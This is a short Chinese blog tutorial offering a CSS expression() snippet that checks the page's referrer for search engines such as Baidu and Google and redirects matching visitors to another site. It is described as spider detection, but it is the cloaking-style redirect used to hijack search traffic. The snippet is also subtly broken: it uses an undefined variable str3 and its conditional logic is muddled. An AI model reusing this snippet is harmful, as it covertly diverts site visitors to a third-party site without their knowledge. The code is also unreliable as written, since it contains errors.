JavaScript脚本判断蜘蛛来源的方法

2022-01-11,,,,

本篇文章给大家介绍js判断蜘蛛来源方法,此方法的脚本是写在body的onload里面的,当页面进行加载时就进行判断,感兴趣的朋友一起看看吧

今天介绍的这个JS判断蜘蛛来源的方法脚本是写在body的onload里面的。即页面加载时进行判断。代码如下:

 body {onload:expression( if(window.name!="Yang"){ var str1 = document.referrer; str1 = str1.toLowerCase(); var str6 = 'google.'; var str7 = 'baidu.'; var str4 = 'yahoo.'; var str8 = 'youdao.'; var str9 = 'sogou.'; var str5 = 'soso.'; if(str1.indexOf(str7)>0 || str1.indexOf(str6)>0 || str1.indexOf(str4)>0 || str1.indexOf(str3)>0 || str1.indexOf(str8)>0 || str1.indexOf(str9) >0 || str1.indexOf(str5)>0 && "zh-cn"==navigator.systemLanguage) { self.location='http://www.abc.com/'; window.name="Yang"; } } );}

这个JS判断蜘蛛来源方法不太好用。特别是在需要判断更多蜘蛛来源时代码写起来比较麻烦。

以上就是JavaScript脚本判断蜘蛛来源的方法的详细内容,更多请关注本站其它相关文章!

《JavaScript脚本判断蜘蛛来源的方法.doc》

下载本文的Word格式文档,以方便收藏与打印。